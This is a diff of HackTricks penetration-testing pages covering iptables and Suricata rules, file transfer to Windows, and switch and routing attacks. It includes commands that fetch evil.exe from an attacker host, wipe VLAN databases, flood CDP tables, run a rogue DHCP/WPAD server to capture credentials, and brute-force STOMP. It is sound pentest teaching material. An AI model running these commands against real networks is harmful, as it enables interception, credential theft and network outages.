* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -16,11 +16,13 @@
|
|||
|
||||
### Chains
|
||||
|
||||
Iptables chains are just lists of rules, processed in order. You will always find the following 3, but others such as NAT might also be supported.
|
||||
In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities.
|
||||
|
||||
* **Input** – This chain is used to control the behavior of incoming connections.
|
||||
* **Forward** – This chain is used for incoming connections that aren’t being delivered locally. Think of a router – data is always being sent to it but rarely actually destined for the router itself; the data is just forwarded to its target. Unless you’re doing some kind of routing, NATing, or something else on your system that requires forwarding, you won’t even use this chain.
|
||||
* **Output** – This chain is used for outgoing connections.
|
||||
- **Input Chain**: Utilized for managing the behavior of incoming connections.
|
||||
- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities.
|
||||
- **Output Chain**: Dedicated to the regulation of outgoing connections.
|
||||
|
||||
These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system.
|
||||
|
||||
```bash
|
||||
# Delete all rules
|
||||
|
@ -131,13 +133,15 @@ systemctl daemon-reload
|
|||
|
||||
### Rules Definitions
|
||||
|
||||
A rule/signature consists of the following:
|
||||
[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following:
|
||||
|
||||
* The **action**, determines what happens when the signature matches.
|
||||
* The **header**, defines the protocol, IP addresses, ports and direction of the rule.
|
||||
* The **rule options**, define the specifics of the rule.
|
||||
|
||||
![](<../../../.gitbook/assets/image (642) (3).png>)
|
||||
```bash
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
|
||||
```
|
||||
|
||||
#### **Valid actions are**
|
||||
|
||||
|
@ -244,7 +248,7 @@ drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -498,7 +498,7 @@ Some systems have known flaws in the random seed used to generate cryptographic
|
|||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ)
|
||||
|
||||
The STOMP text protocol allows interaction with message queueing services like ActiveMQ, RabbitMQ, HornetQ and OpenMQ.
|
||||
The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations.
|
||||
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
|
|
|
@ -376,21 +376,17 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
|
||||
## Debug.exe
|
||||
|
||||
This is a crazy technique that works on Windows 32 bit machines. The idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`.
|
||||
The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**.
|
||||
|
||||
`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:
|
||||
|
||||
```
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
```
|
||||
|
||||
Now it only weighs 29 kb. Perfect. So now let's disassemble it:
|
||||
|
||||
```
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
|
||||
Now we just copy-paste the text into our windows-shell. And it will automatically create a file called nc.exe
|
||||
Then copy-paste the text into the windows-shell and a file called nc.exe will be created.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
## DNS
|
||||
|
||||
|
|
|
@ -192,7 +192,9 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
|||
|
||||
### SCTP Scan
|
||||
|
||||
SCTP sits alongside TCP and UDP. Intended to provide **transport** of **telephony** data over **IP**, the protocol duplicates many of the reliability features of Signaling System 7 (SS7), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks.
|
||||
**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks.
|
||||
|
||||
The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking.
|
||||
|
||||
Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_
|
||||
|
||||
|
@ -217,7 +219,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
|||
|
||||
### Revealing Internal IP Addresses
|
||||
|
||||
Misconfigured routers, firewalls, and network devices sometimes **respond** to network probes **using nonpublic source addresses**. You can use _tcpdump_ used to **identify packets** received from **private addresses** during testing. In this case, the _eth2_ interface in Kali Linux is **addressable** from the **public Internet** (If you are **behind** a **NAT** of a **Firewall** this kind of packets are probably going to be **filtered**).
|
||||
**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out.
|
||||
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
|
@ -305,13 +307,13 @@ In modern switches this vulnerability has been fixed.
|
|||
|
||||
#### Dynamic Trunking
|
||||
|
||||
**DTP (Dynamic Trunking Protocol)** is a link layer protocol designed to provide an automatic trunking system. With DTP, switches decide which port will work in trunk mode (Trunk) and which will not. The use of **DTP** indicates **poor network design.** **Trunks should be strictly** where they are needed, and it should be documented.
|
||||
The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation.
|
||||
|
||||
**By default, all switch ports operate in Dynamic Auto mode.** This indicates that the switch port is in trunk initiation mode from the neighbouring switch. **The Pentester needs to physically connect to the switch and send a DTP Desirable frame**, which triggers the port to switch to trunk mode. The attacker can then enumerate VLANs using STP frame analysis and bypass VLAN segmentation by creating virtual interfaces.
|
||||
By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces.
|
||||
|
||||
Many switches support the Dynamic Trunking Protocol (DTP) by default, however, which an adversary can abuse to **emulate a switch and receive traffic across all VLANs**. The tool [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) can sniff an interface and **reports if switch is in Default mode, trunk, dynamic, auto or access mode** (this is the only one that would avoid VLAN hopping). The tool will indicate if the switch is vulnerable or not.
|
||||
The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status.
|
||||
|
||||
If it was discovered that the the network is vulnerable, you can use _**Yersinia**_ to launch an "**enable trunking**" using protocol "**DTP**" and you will be able to see network packets from all the VLANs.
|
||||
Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs.
|
||||
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
|
@ -407,39 +409,40 @@ If you have **access to a switch that you are directly connected to**, you have
|
|||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
In guest wireless networks and other environments, private VLAN (also known as _port isolation_) settings are used to **prevent peers from interacting** (i.e., clients **connect to a wireless access point but cannot address one another**). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer.
|
||||
In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network.
|
||||
|
||||
This attack will send a **specially crafted packet to the IP of a client but with the MAC of the router**. Then, the **router will redirect the packet to the client**. As in _Double Tagging Attacks_ you can exploit this vulnerability by controlling a host accessible by the victim.
|
||||
The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw.
|
||||
|
||||
**Key Steps of the Attack:**
|
||||
1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address.
|
||||
2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings.
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
**VTP (VLAN Trunking Protocol)** is a protocol designed to centrally manage VLANs. To keep track of the current VLAN database, switches check special revision numbers. When any table update occurs, the revision number is incremented by one. And if a switch detects a configuration with a higher revision number, it will automatically update its VLAN database.
|
||||
VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases.
|
||||
|
||||
#### Roles in a VTP domain <a href="#ebfc" id="ebfc"></a>
|
||||
#### VTP Domain Roles
|
||||
|
||||
* **VTP Server.** A switch in the VTP Server role can create new VLANs, delete old ones, or change information in the VLANs themselves. **It also generates VTP announcements for the rest of the domain members.**
|
||||
* **VTP Client.** A switch in this role will receive specific VTP announcements from other switches in the domain to update the VLAN databases on its own. Clients are limited in their ability to create VLANs and are not even allowed to change the VLAN configuration locally. In other words, **read only access.**
|
||||
* **VTP Transparent.** In this mode, the switch does not participate in VTP processes and can host full and local administration of the entire VLAN configuration. When operating in transparent mode, switches only transmit VTP announcements from other switches without affecting their VLAN configuration. **Such switches will always have a revision number of zero and cannot be attacked.**
|
||||
- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members.
|
||||
- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications.
|
||||
- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero.
|
||||
|
||||
#### Advertisement types <a href="#b384" id="b384"></a>
|
||||
#### VTP Advertisement Types
|
||||
|
||||
* **Summary Advertisement —** the VTP announcement that the VTP server sends every **300 seconds (5 minutes).** This announcement stores the VTP domain name, protocol version, timestamp, and MD5 configuration hash value.
|
||||
* **Subset Advertisement —** this is the VTP advertisement that is sent whenever a VLAN configuration change occurs.
|
||||
* **Advertisement Request —** is a request from the VTP client to the VTP server for a Summary Advertisement message. Usually sent in response to a message that a switch has detected a Summary Advertisement with a higher configuration revision number.
|
||||
- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information.
|
||||
- **Subset Advertisement:** Sent following VLAN configuration changes.
|
||||
- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number.
|
||||
|
||||
VTP can **only be attacked from a trunk port,** because **VTP announcements are only broadcast and received on trunk ports.** **Therefore, when pentesting after attacking DTP, your next target could be VTP.** To attack the VTP domain you can **use Yersinia** to **run a VTP inject that will erase the entire VLAN** **database** and thus paralyze the network.
|
||||
VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network.
|
||||
|
||||
{% hint style="info" %}
|
||||
The VTP protocol has as many as **three versions**. In this post the attack is against the first version, VTPv1
|
||||
{% endhint %}
|
||||
Note: This discussion pertains to VTP version 1 (VTPv1).
|
||||
|
||||
```bash
|
||||
yersinia -G #For graphic mode
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
```
|
||||
|
||||
To erase the entire VLAN database, select the **deleting all VTP vlans** option
|
||||
In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (22) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### STP Attacks
|
||||
|
||||
|
@ -483,25 +486,23 @@ ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpack
|
|||
|
||||
### CDP Attacks
|
||||
|
||||
CISCO Discovery Protocol is the protocol used by CISCO devices to talk among them, **discover who is alive** and what features does they have.
|
||||
CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**.
|
||||
|
||||
#### Information Gathering <a href="#0e0f" id="0e0f"></a>
|
||||
#### Passive Data Collection <a href="#0e0f" id="0e0f"></a>
|
||||
|
||||
**By default, the CDP sends announcements to all its ports.** But what if an intruder connects to a port on the same switch? Using a network sniffer, be it **Wireshark,** **tcpdump** or **Yersinia**, he could extract **valuable information about the device itself**, from its model to the Cisco IOS version. Using this information he will be able to enumerate the same version of Cisco IOS and find the vulnerability and then exploit it.
|
||||
CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version.
|
||||
|
||||
#### CDP Flooding Attack <a href="#0d6a" id="0d6a"></a>
|
||||
#### Inducing CDP Table Flooding <a href="#0d6a" id="0d6a"></a>
|
||||
|
||||
You can make a DoS attack to a CISCO switch by exhausting the device memory simulating real CISCO devices.
|
||||
A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing:
|
||||
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
|
||||
# Or you could use the GUI
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
|
||||
Select the **flooding CDP table** option and start the attack. The switch CPU will be overloaded, as well as the CDP neighbor table, **resulting in “network paralysis”.**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption.
|
||||
|
||||
#### CDP Impersonation Attack
|
||||
|
||||
|
@ -512,22 +513,35 @@ sudo yersinia cdp -attack 0 #Send a CDP packet
|
|||
|
||||
You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
|
||||
|
||||
### VoIP Attacks
|
||||
### VoIP Attacks and the VoIP Hopper Tool
|
||||
|
||||
Although intended for use by the employees’ Voice over Internet Protocol (VoIP) phones, modern VoIP devices are increasingly integrated with IoT devices. Many employees can now unlock doors using a special phone number, control the room’s thermostat...
|
||||
VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks.
|
||||
|
||||
The tool [**voiphopper**](http://voiphopper.sourceforge.net) mimics the behavior of a VoIP phone in Cisco, Avaya, Nortel, and Alcatel-Lucent environments. It automatically discovers the correct VLAN ID for the voice network using one of the device discovery protocols it supports, such as the Cisco Discovery Protocol (CDP), the Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery Protocol Media Endpoint Discovery (LLDP-MED), and 802.1Q ARP.
|
||||
The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP.
|
||||
|
||||
**VoIP Hopper** supports **three** CDP modes. The **sniff** mode inspects the network packets and attempts to locate the VLAN ID. To use it, set the **`-c`** parameter to `0`. The **spoof** mode generates custom packets similar to the ones a real VoIP device would transmit in the corporate network. To use it, set the **`-c`** parameter to **`1`**. The spoof with a **pre-madepacket** mode sends the same packets as a Cisco 7971G-GE IP phone. To use it, set the **`-c`** parameter to **`2`**.
|
||||
**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP):
|
||||
|
||||
We use the last method because it’s the fastest approach. The **`-i`** parameter specifies the attacker’s **network** **interface**, and the **`-E`** parameter specifies the **name of the VOIP device** being imitated. We chose the name SEP001EEEEEEEEE, which is compatible with the Cisco naming format for VoIP phones. The format consists of the word “SEP” followed by a MAC address. In corporate environments, you can imitate an existing VoIP device by looking at the MAC label on the back of the phone; by pressing the Settings button and selecting the Model Information option on the phone’s display screen; or by attaching the VoIP device’s Ethernet cable to your laptop and observing the device’s CDP requests using Wireshark.
|
||||
1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID.
|
||||
2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device.
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model.
|
||||
|
||||
The preferred mode for speed is the third one. It requires specifying:
|
||||
|
||||
- The attacker's network interface (`-i` parameter).
|
||||
- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address).
|
||||
|
||||
In corporate settings, to mimic an existing VoIP device, one might:
|
||||
|
||||
- Inspect the MAC label on the phone.
|
||||
- Navigate the phone's display settings to view model information.
|
||||
- Connect the VoIP device to a laptop and observe CDP requests using Wireshark.
|
||||
|
||||
An example command to execute the tool in the third mode would be:
|
||||
|
||||
```bash
|
||||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||||
```
|
||||
|
||||
If the tool executes successfully, the **VLAN network will assign an IPv4 address to the attacker’s device**.
|
||||
|
||||
### DHCP Attacks
|
||||
|
||||
#### Enumeration
|
||||
|
@ -568,20 +582,27 @@ You could use the mentioned DoS attacks to force clients to obtain new leases wi
|
|||
|
||||
#### Set malicious values
|
||||
|
||||
You can use Responder DHCP script (_/usr/share/responder/DHCP.py_) to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex (i.e., we capture egress packets from the client, but not the responses from the legitimate gateway). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular.
|
||||
A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack.
|
||||
|
||||
| Description | Example |
|
||||
| ------------------------------------------- | ---------------------------------------------------------------------------- |
|
||||
| Our IP address, advertised as a gateway | _-i 10.0.0.100_ |
|
||||
| The local DNS domain name (optional) | _-d example.org_ |
|
||||
| IP address of the original router/gateway | _-r 10.0.0.1_ |
|
||||
| Primary DNS server IP address | _-p 10.0.0.100_ |
|
||||
| Secondary DNS server IP address (optional) | _-s 10.0.0.1_ |
|
||||
| The netmask of the local network | _-n 255.255.255.0_ |
|
||||
| The interface to listen for DHCP traffic on | _-I eth1_ |
|
||||
| WPAD configuration address (URL) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat/n%E2%80%9D) |
|
||||
| Spoof the default gateway IP address | -S |
|
||||
| Respond to all DHCP requests (very noisy) | -R |
|
||||
Below are the command options for configuring the rogue DHCP server:
|
||||
|
||||
- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway.
|
||||
- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name.
|
||||
- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway.
|
||||
- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control.
|
||||
- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP.
|
||||
- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network.
|
||||
- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface.
|
||||
- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception.
|
||||
- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address.
|
||||
- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected.
|
||||
|
||||
By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively.
|
||||
|
||||
```python
|
||||
# Example to start a rogue DHCP server with specified options
|
||||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||||
```
|
||||
|
||||
### **EAP Attacks**
|
||||
|
||||
|
@ -611,9 +632,13 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
|||
|
||||
### RIP
|
||||
|
||||
Three versions of the Routing Information Protocol (RIP) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6.
|
||||
Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6.
|
||||
|
||||
- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520.
|
||||
- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast.
|
||||
|
||||
Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6.
|
||||
|
||||
For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_
|
||||
|
||||
### EIGRP Attacks
|
||||
|
||||
|
@ -621,24 +646,26 @@ For more information about how to attack this protocol go to the book _**Network
|
|||
|
||||
To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections.
|
||||
|
||||
\*\*\*\*[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain.
|
||||
[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain.
|
||||
|
||||
{% content-ref url="eigrp-attacks.md" %}
|
||||
[eigrp-attacks.md](eigrp-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
\*\*\*\*[**Coly**](https://code.google.com/p/coly/) also supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration. For more info about how to attack it with Coly check _**Network Security Assessment: Know Your Network (3rd edition).**_
|
||||
[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations.
|
||||
|
||||
### OSPF
|
||||
|
||||
Most Open Shortest Path First (OSPF) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the _Injection_ tab, and the key set under _Connection_.
|
||||
In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively.
|
||||
|
||||
For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_
|
||||
- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose.
|
||||
- **Configuring Route Parameters:** This is done through the _Injection_ tab.
|
||||
- **Setting the Compromised Key:** The key is configured under the _Connection_ tab.
|
||||
|
||||
### Other Generic Tools & Sources
|
||||
|
||||
* [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities
|
||||
* You can find some more information about network attacks [here](https://github.com/Sab0tag3d/MITM-cheatsheet). _(TODO: Read it all and all new attacks if any)_
|
||||
* You can find some **more information about network attacks [here](https://github.com/Sab0tag3d/MITM-cheatsheet)**.
|
||||
|
||||
## **Spoofing**
|
||||
|
||||
|
@ -702,21 +729,21 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
|||
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services.
|
||||
For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services.
|
||||
|
||||
You can impersonate services that are searched by hosts using Responder to send fake responses.\
|
||||
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
